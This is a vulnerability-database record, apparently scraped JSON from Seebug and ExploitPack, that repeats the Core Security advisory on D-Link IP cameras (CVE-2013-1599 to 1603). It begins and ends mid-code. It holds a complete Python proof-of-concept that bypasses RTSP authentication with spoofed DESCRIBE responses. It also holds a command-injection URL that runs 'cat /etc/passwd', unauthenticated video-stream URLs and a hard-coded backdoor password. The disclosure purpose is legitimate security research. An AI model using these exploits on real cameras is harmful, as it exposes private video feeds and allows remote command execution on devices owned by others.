UDPRequestHandler(data, recv_addr, self.dst_addr).start()\r\n except Exception as e:\r\n print e\r\n break \r\n listener.close()\r\n UDPDispatcher.dispatchers.remove( self )\r\n \r\n \r\nclass PipeThread(Thread):\r\n pipes = []\r\n def __init__(self, source, sink, process_data_callback=lambda x: x):\r\n Thread.__init__(self)\r\n self.source = source\r\n self.sink = sink\r\n self.process_data_callback = process_data_callback\r\n PipeThread.pipes.append(self)\r\n \r\n def run(self):\r\n while 1:\r\n try:\r\n data = self.source.recv(1024)\r\n data = self.process_data_callback(data)\r\n if not data: break\r\n self.sink.send( data )\r\n except Exception as e:\r\n log(e)\r\n break\r\n PipeThread.pipes.remove(self)\r\n \r\n \r\nclass TCPTunnel(Thread):\r\n def __init__(self, src_port, dst_addr, process_data_callback=lambda\r\nx: x):\r\n Thread.__init__(self)\r\n log('[*] Redirecting: localhost:%s -> %s:%s' % (src_port,\r\ndst_addr[0], dst_addr[1]))\r\n self.dst_addr = dst_addr\r\n self.process_data_callback = process_data_callback\r\n # Create TCP listener socket\r\n self.sock = socket(AF_INET, SOCK_STREAM)\r\n self.sock.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)\r\n self.sock.bind(('', src_port))\r\n self.sock.listen(5)\r\n \r\n def run(self):\r\n while 1:\r\n # Wait until a new connection arises\r\n newsock, address = self.sock.accept()\r\n # Create forwarder socket\r\n fwd = socket(AF_INET, SOCK_STREAM)\r\n fwd.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)\r\n fwd.connect(self.dst_addr)\r\n # Pipe them!\r\n PipeThread(newsock, fwd, self.process_data_callback).start()\r\n PipeThread(fwd, newsock, self.process_data_callback).start()\r\n \r\n \r\nclass Camera():\r\n def __init__(self, address):\r\n self.address = address\r\n def get_describe_data(self):\r\n return ''\r\n \r\n \r\nclass DLink(Camera):\r\n # D-Link DCS-2102/1.06-5731\r\n def __init__(self, address):\r\n Camera.__init__(self, address)\r\n def get_describe_data(self):\r\n return\r\n'\\x76\\x3d\\x30\\x0d\\x0a\\x6f\\x3d\\x43\\x56\\x2d\\x52\\x54\\x53\\x50\\x48\\x61\\x6e\\x64\\x6c\\x65\\x72\\x20\\x31\\x31\\x32\\x33\\x34\\x31\\x32\\x20\\x30\\x20\\x49\\x4e\\x20\\x49\\x50\\x34\\x20\\x31\\x39\\x32\\x2e\\x31\\x36\\x38\\x2e\\x32\\x2e\\x31\\x31\\x0d\\x0a\\x73\\x3d\\x44\\x43\\x53\\x2d\\x32\\x31\\x30\\x32\\x0d\\x0a\\x63\\x3d\\x49\\x4e\\x20\\x49\\x50\\x34\\x20\\x30\\x2e\\x30\\x2e\\x30\\x2e\\x30\\x0d\\x0a\\x74\\x3d\\x30\\x20\\x30\\x0d\\x0a\\x61\\x3d\\x63\\x68\\x61\\x72\\x73\\x65\\x74\\x3a\\x53\\x68\\x69\\x66\\x74\\x5f\\x4a\\x49\\x53\\x0d\\x0a\\x61\\x3d\\x72\\x61\\x6e\\x67\\x65\\x3a\\x6e\\x70\\x74\\x3d\\x6e\\x6f\\x77\\x2d\\x0d\\x0a\\x61\\x3d\\x63\\x6f\\x6e\\x74\\x72\\x6f\\x6c\\x3a\\x2a\\x0d\\x0a\\x61\\x3d\\x65\\x74\\x61\\x67\\x3a\\x31\\x32\\x33\\x34\\x35\\x36\\x37\\x38\\x39\\x30\\x0d\\x0a\\x6d\\x3d\\x76\\x69\\x64\\x65\\x6f\\x20\\x30\\x20\\x52\\x54\\x50\\x2f\\x41\\x56\\x50\\x20\\x39\\x36\\x0d\\x0a\\x62\\x3d\\x41\\x53\\x3a\\x31\\x38\\x0d\\x0a\\x61\\x3d\\x72\\x74\\x70\\x6d\\x61\\x70\\x3a\\x39\\x36\\x20\\x4d\\x50\\x34\\x56\\x2d\\x45\\x53\\x2f\\x39\\x30\\x30\\x30\\x30\\x0d\\x0a\\x61\\x3d\\x63\\x6f\\x6e\\x74\\x72\\x6f\\x6c\\x3a\\x74\\x72\\x61\\x63\\x6b\\x49\\x44\\x3d\\x31\\x0d\\x0a\\x61\\x3d\\x66\\x6d\\x74\\x70\\x3a\\x39\\x36\\x20\\x70\\x72\\x6f\\x66\\x69\\x6c\\x65\\x2d\\x6c\\x65\\x76\\x65\\x6c\\x2d\\x69\\x64\\x3d\\x31\\x3b\\x63\\x6f\\x6e\\x66\\x69\\x67\\x3d\\x30\\x30\\x30\\x30\\x30\\x31\\x42\\x30\\x30\\x31\\x30\\x30\\x30\\x30\\x30\\x31\\x42\\x35\\x30\\x39\\x30\\x30\\x30\\x30\\x30\\x31\\x30\\x30\\x30\\x30\\x30\\x30\\x30\\x31\\x32\\x30\\x30\\x30\\x43\\x34\\x38\\x38\\x42\\x41\\x39\\x38\\x35\\x31\\x34\\x30\\x34\\x33\\x43\\x31\\x34\\x34\\x33\\x46\\x3b\\x64\\x65\\x63\\x6f\\x64\\x65\\x5f\\x62\\x75\\x66\\x3d\\x37\\x36\\x38\\x30\\x30\\x0d\\x0a\\x61\\x3d\\x73\\x65\\x6e\\x64\\x6f\\x6e\\x6c\\x79\\x0d\\x0a\\x6d\\x3d\\x61\\x75\\x64\\x69\\x6f\\x20\\x30\\x20\\x52\\x54\\x50\\x2f\\x41\\x56\\x50\\x20\\x30\\x0d\\x0a\\x61\\x3d\\x72\\x74\\x70\\x6d\\x61\\x70\\x3a\\x30\\x20\\x50\\x43\\x4d\\x55\\x2f\\x38\\x30\\x30\\x30\\x0d\\x0a\\x61\\x3d\\x63\\x6f\\x6e\\x74\\x72\\x6f\\x6c\\x3a\\x74\\x72\\x61\\x63\\x6b\\x49\\x44\\x3d\\x32\\x0d\\x0a\\x61\\x3d\\x73\\x65\\x6e\\x64\\x6f\\x6e\\x6c\\x79\\x0d\\x0a'\r\n \r\n \r\nclass RTSPAuthByPasser():\r\n DESCRIBE_REQ_HEADER = 'DESCRIBE rtsp://'\r\n UNAUTHORIZED_RESPONSE = 'RTSP/1.0 401 Unauthorized'\r\n SERVER_PORT_ARGUMENTS = 'server_port='\r\n DEFAULT_CSEQ = 1\r\n DEFAULT_SERVER_PORT_RANGE = '5556-5559'\r\n \r\n def __init__(self, local_port, camera):\r\n self.last_describe_req = ''\r\n self.camera = camera\r\n self.local_port = local_port\r\n \r\n def start(self):\r\n log('[!] Starting bypasser')\r\n TCPTunnel(self.local_port, self.camera.address,\r\nself.spoof_rtsp_conn).start()\r\n \r\n def spoof_rtsp_conn(self, data):\r\n if RTSPAuthByPasser.DESCRIBE_REQ_HEADER in data:\r\n self.last_describe_req = data\r\n elif RTSPAuthByPasser.UNAUTHORIZED_RESPONSE in data and\r\nself.last_describe_req:\r\n log('[!] Unauthorized response received. Spoofing...')\r\n spoofed_describe = self.camera.get_describe_data()\r\n # Look for the request CSeq\r\n m = re.search('.*CSeq:\\\\s*(\\\\d+?)\\r\\n.*',\r\nself.last_describe_req)\r\n cseq = m.group(1) if m else RTSPAuthByPasser.DEFAULT_CSEQ\r\n # Create the response\r\n data = 'RTSP/1.0 200 OK\\r\\n'\r\n data+= 'CSeq: %s\\r\\n' % cseq\r\n data+= 'Content-Type: application/sdp\\r\\n'\r\n data+= 'Content-Length: %d\\r\\n' % len(spoofed_describe)\r\n data+= '\\r\\n'\r\n # Attach the spoofed describe\r\n data+= spoofed_describe \r\n elif RTSPAuthByPasser.SERVER_PORT_ARGUMENTS in data:\r\n # Look for the server RTP ports\r\n m = re.search('.*%s\\\\s*(.+?)[;|\\r].*' %\r\nRTSPAuthByPasser.SERVER_PORT_ARGUMENTS, data)\r\n ports = m.group(1) if m else\r\nRTSPAuthByPasser.DEFAULT_SERVER_PORT_RANGE\r\n # For each port in the range create a UDP dispatcher\r\n begin_port, end_port = map(int, ports.split('-'))\r\n for udp_port in xrange(begin_port, end_port + 1):\r\n try:\r\n UDPDispatcher(udp_port, (self.camera.address[0],\r\nudp_port)).start()\r\n except:\r\n pass \r\n return data\r\n \r\nif __name__ == '__main__':\r\n if len( sys.argv ) > 1:\r\n listener_port = camera_port = int(sys.argv[1])\r\n camera_ip = sys.argv[2]\r\n if len(sys.argv) == 4:\r\n camera_port = int(sys.argv[3])\r\n RTSPAuthByPasser(listener_port, DLink((camera_ip,\r\ncamera_port))).start()\r\n else:\r\n print 'usage: python %s [local_port] [camera_ip]\r\n[camera_rtsp_port]' \r\n\r\n```\r\n \r\n7.5. *RTSP Hard-Coded Credentials*\r\n \r\n[CVE-2013-1603] RTSP service contains hard-coded credentials that\r\neffectively serve as a backdoor, which allows remote attackers to access\r\nthe RTSP video stream.\r\n \r\n/-----\r\nusername: (any) \r\npassword: ?*\r\n-----/\r\n \r\nAs we can see in the following dump, the submitted password is compared\r\nwith the string ':?*' (the character ':' is used for concatenation of\r\n'username:password'). This code belongs to the binary 'rtspd':\r\n \r\n/-----\r\n.text:00011468 loc_11468 ; Load from Memory\r\n.text:00011468 LDR R3, [R11,#s2]\r\n.text:0001146C STR R3, [R11,#var_C0] ; Store to Memory\r\n.text:00011470 LDR R2, [R11,#var_C0] ; Load from Memory\r\n.text:00011474 LDR R3, [R11,#var_BC] ; Load from Memory\r\n.text:00011478 ADD R3, R2, R3 ; Rd = Op1 + Op2\r\n.text:0001147C SUB R3, R3, #3 ; Rd = Op1 - Op2\r\n.text:00011480 STR R3, [R11,#var_C0] ; Store to Memory\r\n.text:00011484 LDR R0, [R11,#var_C0] ; s1\r\n.text:00011488 LDR R1, =asc_1B060 ; \":?*\" <-------\r\n.text:0001148C MOV R2, #3 ; n\r\n.text:00011490 BL strncmp ; Branch with Link\r\n.text:00011494 MOV R3, R0 ; Rd = Op2\r\n.text:00011498 CMP R3, #0 ; Set cond. codes on Op1 - Op2\r\n.text:0001149C BNE loc_114BC ; Branch\r\n-----/\r\n \r\n8. *Report Timeline*\r\n. 2013-03-19:\r\nCore Security Technologies notifies the D-Link team of the vulnerability.\r\n \r\n. 2013-03-20:\r\nD-Link team asks for a technical description of the vulnerability.\r\n \r\n. 2013-03-20:\r\nCore sends a draft advisory with technical details and set the estimated\r\npublication date of the advisory for May 14th, 2013.\r\n \r\n. 2013-03-20:\r\nVendor notifies that D-Link Corporation has an unpublished bounty\r\nprogram for security advisors. The bounty program requires both Core\r\nSecurity and D-Link to sign a memo of understanding (MoU).\r\n \r\n. 2013-03-25:\r\nCore notifies that receiving money from vendors may bias the view of the\r\nreport and rejects the bounty program.\r\n \r\n. 2013-03-29:\r\nVendor notifies that they hope to close the fix ASAP.\r\n \r\n. 2013-04-08:\r\nVendor sends the list of vulnerable devices and the associated firmware\r\nand notifies that they will release patches and release notes on the\r\nD-Link support forum first. Then, an official public release will be\r\nannounced (approx. 1 month from forum post to full release).\r\n \r\n. 2013-04-24:\r\nCore asks for a clarification regarding the D-Link release date and\r\nnotifies that releasing fixes to a privileged closed group and/or a\r\nclosed forum or list is unacceptable.\r\n \r\n. 2013-04-25:\r\nVendor notifies that the patches are ready and scheduled for posting on\r\nD-Link web site over the next few days.\r\n \r\n. 2013-04-26:\r\nCore notifies that the advisory is re-scheduled for Monday 29th.\r\n \r\n. 2013-04-29:\r\nAdvisory CORE-2013-0303 published.\r\n \r\n9. *References*\r\n \r\n[1] http://www.dlink.com/us/en/home-solutions/view/network-cameras.\r\n[2]\r\nhttp://corelabs.coresecurity.com/themes/sample_theme/images/coffee-pot.png.\r\n \r\n10. *About CoreLabs*\r\n \r\nCoreLabs, the research center of Core Security Technologies, is charged\r\nwith anticipating the future needs and requirements for information\r\nsecurity technologies. We conduct our research in several important\r\nareas of computer security including system vulnerabilities, cyber\r\nattack planning and simulation, source code auditing, and cryptography.\r\nOur results include problem formalization, identification of\r\nvulnerabilities, novel solutions and prototypes for new technologies.\r\nCoreLabs regularly publishes security advisories, technical papers,\r\nproject information and shared software tools for public use at:\r\nhttp://corelabs.coresecurity.com.\r\n \r\n11. *About Core Security Technologies*\r\n \r\nCore Security Technologies enables organizations to get ahead of threats\r\nwith security test and measurement solutions that continuously identify\r\nand demonstrate real-world exposures to their most critical assets. Our\r\ncustomers can gain real visibility into their security standing, real\r\nvalidation of their security controls, and real metrics to more\r\neffectively secure their organizations.\r\n \r\nCore Security's software solutions build on over a decade of trusted\r\nresearch and leading-edge threat expertise from the company's Security\r\nConsulting Services, CoreLabs and Engineering groups. Core Security\r\nTechnologies can be reached at +1 (617) 399-6980 or on the Web at:\r\nhttp://www.coresecurity.com.\r\n \r\n12. *Disclaimer*\r\n \r\nThe contents of this advisory are copyright (c) 2013 Core Security\r\nTechnologies and (c) 2013 CoreLabs, and are licensed under a Creative\r\nCommons Attribution Non-Commercial Share-Alike 3.0 (United States)\r\nLicense: http://creativecommons.org/licenses/by-nc-sa/3.0/us/\r\n \r\n13. *PGP/GPG Keys*\r\n \r\nThis advisory has been signed with the GPG key of Core Security\r\nTechnologies advisories team, which is available for download at\r\nhttp://www.coresecurity.com/files/attachments/core_security_advisories.asc.", "cvss3": {}, "published": "2014-07-01T00:00:00", "title": "D-Link IP Cameras Multiple Vulnerabilities", "type": "seebug", "bulletinFamily": "exploit", "cvss2": {}, "cvelist": ["CVE-2013-1599", "CVE-2013-1600", "CVE-2013-1601", "CVE-2013-1602", "CVE-2013-1603"], "modified": "2014-07-01T00:00:00", "href": "https://www.seebug.org/vuldb/ssvid-78805", "id": "SSV:78805", "sourceData": "", "sourceHref": "", "cvss": {"score": 6.5, "vector": "AV:NETWORK/AC:LOW/Au:UNKNOWN/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}}], "exploitpack": [{"lastseen": "2020-04-01T19:04:11", "description": "\nD-Link IP Cameras - Multiple Vulnerabilities", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2013-05-01T00:00:00", "type": "exploitpack", "title": "D-Link IP Cameras - Multiple Vulnerabilities", "bulletinFamily": "exploit", "hackapp": {}, "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2013-1603", "CVE-2013-1602", "CVE-2013-1599", "CVE-2013-1600", "CVE-2013-1601"], "modified": "2013-05-01T00:00:00", "id": "EXPLOITPACK:D46F499EA884CDAEABDA6A4D09A850F9", "href": "", "sourceData": "Core Security - Corelabs Advisory\nhttp://corelabs.coresecurity.com/\n\nD-Link IP Cameras Multiple Vulnerabilities\n\n1. *Advisory Information*\n\nTitle: D-Link IP Cameras Multiple Vulnerabilities\nAdvisory ID: CORE-2013-0303\nAdvisory URL:\nhttp://www.coresecurity.com/advisories/d-link-ip-cameras-multiple-vulnerabilities\nDate published: 2013-04-29\nDate of last update: 2013-03-29\nVendors contacted: D-Link Corporation\nRelease mode: Coordinated release\n\n2. *Vulnerability Information*\n\nClass: OS command injection [CWE-78], Authentication issues [CWE-287],\nInformation leak through GET request [CWE-598], Authentication issues\n[CWE-287], Use of hard-coded credentials [CWE-798]\nImpact: Code execution, Security bypass\nRemotely Exploitable: Yes\nLocally Exploitable: No\nCVE Name: CVE-2013-1599, CVE-2013-1600, CVE-2013-1601, CVE-2013-1602,\nCVE-2013-1603\n\n3. *Vulnerability Description*\n\nMultiple vulnerabilities have been found in D-Link IP cameras [1] that\ncould allow an unauthenticated remote attacker:\n\n 1. [CVE-2013-1599] to execute arbitrary commands from the\nadministration web interface,\n 2. [CVE-2013-1600] to access the video stream via HTTP,\n 3. [CVE-2013-1601] to access the ASCII video stream via image luminance,\n 4. [CVE-2013-1602] to access the video stream via RTSP,\n 5. [CVE-2013-1603] to bypass RTSP authentication using hard-coded\ncredentials.\n\n4. *Vulnerable Packages*\n\nThe following is the list of affected devices and the associated\nfirmware (confirmed by D-Link). Other SKUs are probably affected too,\nbut they were not checked.\n\n[CVE-2013-1599]\n . DCS-3411/3430 - firmware v1.02\n . DCS-5605/5635 - v1.01\n . DCS-1100L/1130L - v1.04\n . DCS-1100/1130 - v1.03\n . DCS-1100/1130 - v1.04_US\n . DCS-2102/2121 - v1.05_RU\n . DCS-3410 - v1.02\n . DCS-5230 - v1.02\n . DCS-5230L - v1.02\n . DCS-6410 - v1.00\n . DCS-7410 - v1.00\n . DCS-7510 - v1.00\n . WCS-1100 - v1.02\n\n[CVE-2013-1600]\n . DCS-2102/2121 - v1.05_RU\n . DCS-2102/2121 - v1.06\n . DCS-2102/2121 - v1.06_FR\n . TESCO DCS-2102/2121 - v1.05_TESCO\n\n[CVE-2013-1601] and [CVE-2013-1603]\n . DCS-3411/3430 - v1.02\n . DCS-5605/5635 - v1.01\n . DCS-1100L/1130L - v1.04\n . DCS-1100/1130 - v1.03\n . DCS-1100/1130 - v1.04_US\n . DCS-2102/2121 - v1.05_RU\n . DCS-2102/2121 - v1.06\n . DCS-2102/2121 - v1.06_FR\n . TESCO DCS-2102/2121 - v1.05_TESCO\n . DCS-3410 - v1.02\n . DCS-5230 - v1.02\n . DCS-5230L - v1.02\n . DCS-6410 - v1.00\n . DCS-7410 - v1.00\n . DCS-7510 - v1.00\n . WCS-1100 - v1.02\n\n[CVE-2013-1602]\n . ALL mentioned devices and firmware.\n\n5. *Vendor Information, Solutions and Workarounds*\n\nD-Link announces that all patches are ready and scheduled for posting on\ncorporate web site for all customers [2013-04-25]. Contact D-Link for\nfurther information.\n\n6. *Credits*\n\n[CVE-2013-1599], [CVE-2013-1600] and [CVE-2013-1601] were discovered and\nresearched by Francisco Falcon and Nahuel Riva from Core Exploit Writers\nTeam.\n\n[CVE-2013-1602] was discovered and researched by Martin Rocha from Core\nImpact Pro Team. The PoC was made by Martin Rocha with help of Juan\nCotta from Core QA Team.\n\n[CVE-2013-1603] was discovered and researched by Pablo Santamaria from\nCore Security Consulting Services.\n\nThe publication of this advisory was coordinated by Fernando Miranda\nfrom Core Advisories Team.\n\n7. *Technical Description / Proof of Concept Code*\n\n7.1. *OS Command Injection*\n\n[CVE-2013-1599] A security issue located in '/var/www/cgi-bin/rtpd.cgi'\nallows an unauthenticated remote attacker to execute arbitrary commands\nthrough the camera's web interface. The OS command injection is due to\nthis code in 'rtpd.cgi':\n\n/-----\necho \"$QUERY_STRING\" | grep -vq ' ' || die \"query string cannot contain\nspaces.\"\n. $conf > /dev/null 2> /dev/null\neval \"$(echo $QUERY_STRING | sed -e 's/&/ /g')\"\n\n-----/\n The first line of this snippet basically ensures that there are no\nspaces in '$QUERY_STRING'. The last line uses 'sed' to replace\nampersands '&' with spaces, and then call to the function 'eval()',\nresulting in a typical command injection. For example, in order to execute:\n\n/-----\nuname -a;cat /etc/passwd\n-----/\n the following request can be sent to the camera web interface:\n\n/-----\nhttp://192.168.1.100/cgi-bin/rtpd.cgi?uname&-a;cat&/etc/passwd\n-----/\n\n\n7.2. *Authentication Bypass*\n\n[CVE-2013-1600] The live video stream can be accessed without\nauthentication by a remote attacker via the following request:\n\n/-----\nhttp://192.168.1.100/upnp/asf-mp4.asf\n-----/\n\n7.3. *ASCII Video Stream Information Leak*\n\n[CVE-2013-1601] An ASCII output (the image luminance) of the live video\nstream can be accessed by a remote unauthenticated attacker via:\n\n/-----\nhttp://192.168.1.100/md/lums.cgi\n-----/\n The following example is the output of a coffee pot video stream [2]:\n\n/-----\nO O O O O O O O O O O O O O O O O O O O O O O O O O o o o o o o o o o o o o\nO O O O O O O O O O O O O O O O O O O O o o o O O O o o o o o o o o o o o o\nO O O O O O O O O O O O O O O O O O . . . o O O o o o o o o o o o o o\nO O O O O O O O O O O O o o O O o . . o o o o o o o o o o o o o o\nO O O O O O O O O O O O o o o o . . . . . . o o o o o o o\nO O O O O O O O O O o . o O O o . o o o o o o\nO O O O O O O O O . . o o o o o o\nO O O O O O O O . . o o o o o o o o\nO O O O O O O . . o O O o . . o o o o o o o o o\nO O O O O O o . O O O O O O . o o o o o o o o o\nO O O O O O . O O O O O O O . . . . . o o o o o o o o o\nO O O O O O o O O O O O O O . . . o . . . o o o o o o o o\nO O O O O O o O O O O O O O . . . o o o . . . . . . . o o o o o o o o\nO O O O O O o O O O O O O o . o O O o O O . . . . . . . . o o o o o o o\nO O O O O O . o O O O O O O o . O O O o O O . . . . . . . . . o o o o o o\nO O O O O O . . O O O O O o . . O O o o O O o . . . . . . . . o o o o o o\nO O O O O O o O O O O O o . o O O o o O O o . . . . . . . . . o o o o o\nO O O O O O O O O O O O . . o O O o o O O o . . . . . . . . . o o o o o\nO O O O O O O . o O O O o . o o o O o o O O o . . . . . . . . . . o o o o\nO O O O O O O o . O O O o . o o o O o o O O o . . . . . . . . . . o o o o\nO O O O O O O O . O O O . . o o o O o o O O o . . . . . . . . . . o o o o\nO O O O O O O O O O O . . o o o O o o O O o . . . . . . . . . . . o o o\nO O O O O O O O o o O o o o o o O o o o O o . . . . . . . . . . . o o o\nO O O O O O O O O . O o o o o o O o . o O o . . . . . . . . . . . . o o\nO O O O O O O O O . O o . o o o o O . . o O o . . . . . . . . . . . . . o\nO O O O O O O O O o o . . o o o o o . . o O o . . . . . . . . . . . o\nO O O O O O O O O O . . . o o o . o . . o O o . . . . . .\no O O O O O O O O O . . o o o . o . . . O o . . . \no o O O O O O O O O o . o o o . o . . . O o . . \no o o O O O O O O O o . o o o . o . . . O o . \n\n-----/\n\n7.4. *RTSP Authentication Bypass*\n\n[CVE-2013-1602] This vulnerability is triggered because:\n\n 1. Authentication is only present in DESCRIBE requests but not in\nevery subsequent request.\n 2. When the RTSP session is being established, the authentication\nrequest of current session is ignored (a previously stored response is\nused instead).\nAs a result, the video stream can be accessed by an unauthenticated\nremote attacker.\n\n/-----\nimport sys\nfrom socket import *\nfrom threading import Thread\nimport time, re\n\nLOGGING = 1\n\ndef log(s):\n if LOGGING:\n print '(%s) %s' % (time.ctime(), s)\n\n\nclass UDPRequestHandler(Thread):\n def __init__(self, data_to_send, recv_addr, dst_addr):\n Thread.__init__(self)\n self.data_to_send = data_to_send\n self.recv_addr = recv_addr\n self.dst_addr = dst_addr\n \n def run(self):\n sender = socket(AF_INET, SOCK_DGRAM)\n sender.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)\n sender.sendto(self.data_to_send, self.dst_addr)\n response = sender.recv(1024)\n sender.sendto(response, self.recv_addr)\n sender.close()\n\n\nclass UDPDispatcher(Thread):\n dispatchers = []\n \n def __has_dispatcher_for(self, port):\n return any([d.src_port == port for d in UDPDispatcher.dispatchers])\n \n def __init__(self, src_port, dst_addr):\n Thread.__init__(self)\n if self.__has_dispatcher_for(src_port):\n raise Exception('There is already a dispatcher for port %d'\n% src_port)\n self.src_port = src_port\n self.dst_addr = dst_addr\n UDPDispatcher.dispatchers.append(self)\n \n def run(self):\n listener = socket(AF_INET, SOCK_DGRAM)\n listener.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)\n listener.bind(('', self.src_port))\n while 1:\n try:\n data, recv_addr = listener.recvfrom(1024)\n if not data: break\n UDPRequestHandler(data, recv_addr, self.dst_addr).start()\n except Exception as e:\n print e\n break \n listener.close()\n UDPDispatcher.dispatchers.remove( self )\n\n\nclass PipeThread(Thread):\n pipes = []\n def __init__(self, source, sink, process_data_callback=lambda x: x):\n Thread.__init__(self)\n self.source = source\n self.sink = sink\n self.process_data_callback = process_data_callback\n PipeThread.pipes.append(self)\n\n def run(self):\n while 1:\n try:\n data = self.source.recv(1024)\n data = self.process_data_callback(data)\n if not data: break\n self.sink.send( data )\n except Exception as e:\n log(e)\n break\n PipeThread.pipes.remove(self)\n\n\nclass TCPTunnel(Thread):\n def __init__(self, src_port, dst_addr, process_data_callback=lambda\nx: x):\n Thread.__init__(self)\n log('[*] Redirecting: localhost:%s -> %s:%s' % (src_port,\ndst_addr[0], dst_addr[1]))\n self.dst_addr = dst_addr\n self.process_data_callback = process_data_callback\n # Create TCP listener socket\n self.sock = socket(AF_INET, SOCK_STREAM)\n self.sock.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)\n self.sock.bind(('', src_port))\n self.sock.listen(5)\n \n def run(self):\n while 1:\n # Wait until a new connection arises\n newsock, address = self.sock.accept()\n # Create forwarder socket\n fwd = socket(AF_INET, SOCK_STREAM)\n fwd.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)\n fwd.connect(self.dst_addr)\n # Pipe them!\n PipeThread(newsock, fwd, self.process_data_callback).start()\n PipeThread(fwd, newsock, self.process_data_callback).start()\n\n\nclass Camera():\n def __init__(self, address):\n self.address = address\n def get_describe_data(self):\n return ''\n\n\nclass DLink(Camera):\n # D-Link DCS-2102/1.06-5731\n def __init__(self, address):\n Camera.__init__(self, address)\n def get_describe_data(self):\n return\n'\\x76\\x3d\\x30\\x0d\\x0a\\x6f\\x3d\\x43\\x56\\x2d\\x52\\x54\\x53\\x50\\x48\\x61\\x6e\\x64\\x6c\\x65\\x72\\x20\\x31\\x31\\x32\\x33\\x34\\x31\\x32\\x20\\x30\\x20\\x49\\x4e\\x20\\x49\\x50\\x34\\x20\\x31\\x39\\x32\\x2e\\x31\\x36\\x38\\x2e\\x32\\x2e\\x31\\x31\\x0d\\x0a\\x73\\x3d\\x44\\x43\\x53\\x2d\\x32\\x31\\x30\\x32\\x0d\\x0a\\x63\\x3d\\x49\\x4e\\x20\\x49\\x50\\x34\\x20\\x30\\x2e\\x30\\x2e\\x30\\x2e\\x30\\x0d\\x0a\\x74\\x3d\\x30\\x20\\x30\\x0d\\x0a\\x61\\x3d\\x63\\x68\\x61\\x72\\x73\\x65\\x74\\x3a\\x53\\x68\\x69\\x66\\x74\\x5f\\x4a\\x49\\x53\\x0d\\x0a\\x61\\x3d\\x72\\x61\\x6e\\x67\\x65\\x3a\\x6e\\x70\\x74\\x3d\\x6e\\x6f\\x77\\x2d\\x0d\\x0a\\x61\\x3d\\x63\\x6f\\x6e\\x74\\x72\\x6f\\x6c\\x3a\\x2a\\x0d\\x0a\\x61\\x3d\\x65\\x74\\x61\\x67\\x3a\\x31\\x32\\x33\\x34\\x35\\x36\\x37\\x38\\x39\\x30\\x0d\\x0a\\x6d\\x3d\\x76\\x69\\x64\\x65\\x6f\\x20\\x30\\x20\\x52\\x54\\x50\\x2f\\x41\\x56\\x50\\x20\\x39\\x36\\x0d\\x0a\\x62\\x3d\\x41\\x53\\x3a\\x31\\x38\\x0d\\x0a\\x61\\x3d\\x72\\x74\\x70\\x6d\\x61\\x70\\x3a\\x39\\x36\\x20\\x4d\\x50\\x34\\x56\\x2d\\x45\\x53\\x2f\\x39\\x30\\x30\\x30\\x30\\x0d\\x0a\\x61\\x3d\\x63\\x6f\\x6e\\x74\\x72\\x6f\\x6c\\x3a\\x74\\x72\\x61\\x63\\x6b\\x49\\x44\\x3d\\x31\\x0d\\x0a\\x61\\x3d\\x66\\x6d\\x74\\x70\\x3a\\x39\\x36\\x20\\x70\\x72\\x6f\\x66\\x69\\x6c\\x65\\x2d\\x6c\\x65\\x76\\x65\\x6c\\x2d\\x69\\x64\\x3d\\x31\\x3b\\x63\\x6f\\x6e\\x66\\x69\\x67\\x3d\\x30\\x30\\x30\\x30\\x30\\x31\\x42\\x30\\x30\\x31\\x30\\x30\\x30\\x30\\x30\\x31\\x42\\x35\\x30\\x39\\x30\\x30\\x30\\x30\\x30\\x31\\x30\\x30\\x30\\x30\\x30\\x30\\x30\\x31\\x32\\x30\\x30\\x30\\x43\\x34\\x38\\x38\\x42\\x41\\x39\\x38\\x35\\x31\\x34\\x30\\x34\\x33\\x43\\x31\\x34\\x34\\x33\\x46\\x3b\\x64\\x65\\x63\\x6f\\x64\\x65\\x5f\\x62\\x75\\x66\\x3d\\x37\\x36\\x38\\x30\\x30\\x0d\\x0a\\x61\\x3d\\x73\\x65\\x6e\\x64\\x6f\\x6e\\x6c\\x79\\x0d\\x0a\\x6d\\x3d\\x61\\x75\\x64\\x69\\x6f\\x20\\x30\\x20\\x52\\x54\\x50\\x2f\\x41\\x56\\x50\\x20\\x30\\x0d\\x0a\\x61\\x3d\\x72\\x74\\x70\\x6d\\x61\\x70\\x3a\\x30\\x20\\x50\\x43\\x4d\\x55\\x2f\\x38\\x30\\x30\\x30\\x0d\\x0a\\x61\\x3d\\x63\\x6f\\x6e\\x74\\x72\\x6f\\x6c\\x3a\\x74\\x72\\x61\\x63\\x6b\\x49\\x44\\x3d\\x32\\x0d\\x0a\\x61\\x3d\\x73\\x65\\x6e\\x64\\x6f\\x6e\\x6c\\x79\\x0d\\x0a'\n\n\nclass RTSPAuthByPasser():\n DESCRIBE_REQ_HEADER = 'DESCRIBE rtsp://'\n UNAUTHORIZED_RESPONSE = 'RTSP/1.0 401 Unauthorized'\n SERVER_PORT_ARGUMENTS = 'server_port='\n DEFAULT_CSEQ = 1\n DEFAULT_SERVER_PORT_RANGE = '5556-5559'\n\n def __init__(self, local_port, camera):\n self.last_describe_req = ''\n self.camera = camera\n self.local_port = local_port\n \n def start(self):\n log('[!] Starting bypasser')\n TCPTunnel(self.local_port, self.camera.address,\nself.spoof_rtsp_conn).start()\n \n def spoof_rtsp_conn(self, data):\n if RTSPAuthByPasser.DESCRIBE_REQ_HEADER 